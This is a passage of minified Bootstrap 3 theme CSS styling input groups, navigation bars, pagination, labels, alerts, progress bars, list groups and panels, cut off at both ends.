10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:8px 12px;font-size:14px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:14px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type="radio"],.input-group-addon input[type="checkbox"]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;white-space:nowrap}.input-group-btn:first-child>.btn{margin-right:-1px}.input-group-btn:last-child>.btn{margin-left:-1px}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-4px}.input-group-btn>.btn:hover,.input-group-btn>.btn:active{z-index:2}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav:before,.nav:after{display:table;content:" "}.nav:after{clear:both}.nav:before,.nav:after{display:table;content:" "}.nav:after{clear:both}.nav:before,.nav:after{display:table;content:" "}.nav:after{clear:both}.nav:before,.nav:after{display:table;content:" "}.nav:after{clear:both}.nav:before,.nav:after{display:table;content:" "}.nav:after{clear:both}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#999}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#999;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eee;border-color:#2fa4e7}.nav .open>a .caret,.nav .open>a:hover .caret,.nav .open>a:focus .caret{border-top-color:#157ab5;border-bottom-color:#157ab5}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.428571429;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media(min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#2fa4e7}.nav-pills>li.active>a .caret,.nav-pills>li.active>a:hover .caret,.nav-pills>li.active>a:focus .caret{border-top-color:#fff;border-bottom-color:#fff}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media(min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #ddd}@media(min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav .caret{border-top-color:#2fa4e7;border-bottom-color:#2fa4e7}.nav a:hover .caret{border-top-color:#157ab5;border-bottom-color:#157ab5}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-right-radius:0;border-top-left-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}.navbar:before,.navbar:after{display:table;content:" "}.navbar:after{clear:both}.navbar:before,.navbar:after{display:table;content:" "}.navbar:after{clear:both}.navbar:before,.navbar:after{display:table;content:" "}.navbar:after{clear:both}.navbar:before,.navbar:after{display:table;content:" "}.navbar:after{clear:both}.navbar:before,.navbar:after{display:table;content:" "}.navbar:after{clear:both}@media(min-width:768px){.navbar{border-radius:4px}}.navbar-header:before,.navbar-header:after{display:table;content:" "}.navbar-header:after{clear:both}.navbar-header:before,.navbar-header:after{display:table;content:" "}.navbar-header:after{clear:both}.navbar-header:before,.navbar-header:after{display:table;content:" "}.navbar-header:after{clear:both}.navbar-header:before,.navbar-header:after{display:table;content:" "}.navbar-header:after{clear:both}.navbar-header:before,.navbar-header:after{display:table;content:" "}.navbar-header:after{clear:both}@media(min-width:768px){.navbar-header{float:left}}.navbar-collapse{max-height:340px;padding-right:15px;padding-left:15px;overflow-x:visible;border-top:1px solid transparent;box-shadow:inset 0 1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse:before,.navbar-collapse:after{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse:before,.navbar-collapse:after{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse:before,.navbar-collapse:after{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse:before,.navbar-collapse:after{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse:before,.navbar-collapse:after{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse.in{overflow-y:auto}@media(min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:auto}.navbar-collapse .navbar-nav.navbar-left:first-child{margin-left:-15px}.navbar-collapse .navbar-nav.navbar-right:last-child{margin-right:-15px}.navbar-collapse .navbar-text:last-child{margin-right:0}}.container>.navbar-header,.container>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media(min-width:768px){.container>.navbar-header,.container>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media(min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media(min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:0px 15px;font-size:18px;line-height:20px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}@media(min-width:768px){.navbar>.container .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;border:1px solid transparent;border-radius:4px}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media(min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media(max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media(min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}@media(min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important}}.navbar-form{padding:10px 15px;margin-top:6px;margin-right:-15px;margin-bottom:6px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1)}@media(min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;padding-left:0;margin-top:0;margin-bottom:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{float:none;margin-left:0}}@media(max-width:767px){.navbar-form .form-group{margin-bottom:5px}}@media(min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-nav.pull-right>li>.dropdown-menu,.navbar-nav>li>.dropdown-menu.pull-right{right:0;left:auto}.navbar-btn{margin-top:6px;margin-bottom:6px}.navbar-text{float:left;margin-top:15px;margin-bottom:15px}@media(min-width:768px){.navbar-text{margin-right:15px;margin-left:15px}}.navbar-default{background-color:#2fa4e7;border-color:#1995dc}.navbar-default .navbar-brand{color:#fff}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#fff;background-color:none}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#fff}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#fff;background-color:#178acc}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#fff;background-color:#178acc}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#178acc}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#178acc}.navbar-default .navbar-toggle .icon-bar{background-color:#fff}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#1995dc}.navbar-default .navbar-nav>.dropdown>a:hover .caret,.navbar-default .navbar-nav>.dropdown>a:focus .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{color:#fff;background-color:#178acc}.navbar-default .navbar-nav>.open>a .caret,.navbar-default .navbar-nav>.open>a:hover .caret,.navbar-default .navbar-nav>.open>a:focus .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-default .navbar-nav>.dropdown>a .caret{border-top-color:#fff;border-bottom-color:#fff}@media(max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#fff}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:#178acc}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#178acc}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#fff}.navbar-default .navbar-link:hover{color:#fff}.navbar-inverse{background-color:#033c73;border-color:#022f5a}.navbar-inverse .navbar-brand{color:#fff}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:none}.navbar-inverse .navbar-text{color:#fff}.navbar-inverse .navbar-nav>li>a{color:#fff}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:#022f5a}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#022f5a}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#022f5a}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#022f5a}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#022a50}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{color:#fff;background-color:#022f5a}.navbar-inverse .navbar-nav>.dropdown>a:hover .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-inverse .navbar-nav>.dropdown>a .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-inverse .navbar-nav>.open>a .caret,.navbar-inverse .navbar-nav>.open>a:hover .caret,.navbar-inverse .navbar-nav>.open>a:focus .caret{border-top-color:#fff;border-bottom-color:#fff}@media(max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#fff}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#022f5a}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-inverse .navbar-link{color:#fff}.navbar-inverse .navbar-link:hover{color:#fff}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#999}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:8px 12px;margin-left:-1px;line-height:1.428571429;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{background-color:#eee}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#999;cursor:default;background-color:#f5f5f5;border-color:#f5f5f5}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:14px 16px;font-size:18px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager:before,.pager:after{display:table;content:" "}.pager:after{clear:both}.pager:before,.pager:after{display:table;content:" "}.pager:after{clear:both}.pager:before,.pager:after{display:table;content:" "}.pager:after{clear:both}.pager:before,.pager:after{display:table;content:" "}.pager:after{clear:both}.pager:before,.pager:after{display:table;content:" "}.pager:after{clear:both}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:hover,.pager li>a:focus{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:hover,.pager .disabled>a:focus,.pager .disabled>span{color:#999;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:bold;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.label[href]:hover,.label[href]:focus{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.label-default{background-color:#999}.label-default[href]:hover,.label-default[href]:focus{background-color:#808080}.label-primary{background-color:#2fa4e7}.label-primary[href]:hover,.label-primary[href]:focus{background-color:#178acc}.label-success{background-color:#73a839}.label-success[href]:hover,.label-success[href]:focus{background-color:#59822c}.label-info{background-color:#033c73}.label-info[href]:hover,.label-info[href]:focus{background-color:#022241}.label-warning{background-color:#dd5600}.label-warning[href]:hover,.label-warning[href]:focus{background-color:#aa4200}.label-danger{background-color:#c71c22}.label-danger[href]:hover,.label-danger[href]:focus{background-color:#9a161a}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:bold;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;background-color:#999;border-radius:10px}.badge:empty{display:none}a.badge:hover,a.badge:focus{color:#fff;text-decoration:none;cursor:pointer}.btn .badge{position:relative;top:-1px}a.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#2fa4e7;background-color:#fff}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px;margin-bottom:30px;font-size:21px;font-weight:200;line-height:2.1428571435;color:inherit;background-color:#eee}.jumbotron h1{line-height:1;color:inherit}.jumbotron p{line-height:1.4}.container .jumbotron{border-radius:6px}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron{padding-right:60px;padding-left:60px}.jumbotron h1{font-size:63px}}.thumbnail{display:inline-block;display:block;height:auto;max-width:100%;padding:4px;margin-bottom:20px;line-height:1.428571429;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.thumbnail>img{display:block;height:auto;max-width:100%;margin-right:auto;margin-left:auto}a.thumbnail:hover,a.thumbnail:focus,a.thumbnail.active{border-color:#2fa4e7}.thumbnail .caption{padding:9px;color:#555}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:bold}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable{padding-right:35px}.alert-dismissable .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#356635}.alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#2d6987}.alert-warning{color:#c09853;background-color:#fcf8e3;border-color:#fbeed5}.alert-warning hr{border-top-color:#f8e5be}.alert-warning .alert-link{color:#a47e3c}.alert-danger{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.alert-danger hr{border-top-color:#e6c1c7}.alert-danger .alert-link{color:#953b39}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#2fa4e7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-transition:width .6s ease;transition:width .6s ease}.progress-striped .progress-bar{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-size:40px 40px}.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#73a839}.progress-striped .progress-bar-success{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#033c73}.progress-striped .progress-bar-info{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#dd5600}.progress-striped .progress-bar-warning{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#c71c22}.progress-striped .progress-bar-danger{background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.media,.media-body{overflow:hidden;zoom:1}.media,.media .media{margin-top:15px}.media:first-child{margin-top:0}.media-object{display:block}.media-heading{margin:0 0 5px}.media>.pull-left{margin-right:10px}.media>.pull-right{margin-left:10px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-right-radius:4px;border-top-left-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}a.list-group-item{color:#555}a.list-group-item .list-group-item-heading{color:#333}a.list-group-item:hover,a.list-group-item:focus{text-decoration:none;background-color:#f5f5f5}a.list-group-item.active,a.list-group-item.active:hover,a.list-group-item.active:focus{z-index:2;color:#fff;background-color:#2fa4e7;border-color:#2fa4e7}a.list-group-item.active .list-group-item-heading,a.list-group-item.active:hover .list-group-item-heading,a.list-group-item.active:focus .list-group-item-heading{color:inherit}a.list-group-item.active .list-group-item-text,a.list-group-item.active:hover .list-group-item-text,a.list-group-item.active:focus .list-group-item-text{color:#e6f4fc}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.05);box-shadow:0 1px 1px rgba(0,0,0,0.05)}.panel-body{padding:15px}.panel-body:before,.panel-body:after{display:table;content:" "}.panel-body:after{clear:both}.panel-body:before,.panel-body:after{display:table;content:" "}.panel-body:after{clear:both}.panel-body:before,.panel-body:after{display:table;content:" "}.panel-body:after{clear:both}.panel-body:before,.panel-body:after{display:table;content:" "}.panel-body:after{clear:both}.panel-body:before,.panel-body:after{display:table;content:" "}.panel-body:after{clear:both}.panel>.list-group{margin-bottom:0}.panel>.list-group .list-group-item{border-width:1px 0}.panel>.list-group .list-group-item:first-child{border-top-right-radius:0;border-top-left-radius:0}.panel>.list-group .list-group-item:last-child{border-bottom:0}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.panel>.table,.panel>.table-responsive{margin-bottom:0}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive{border-top:1px solid 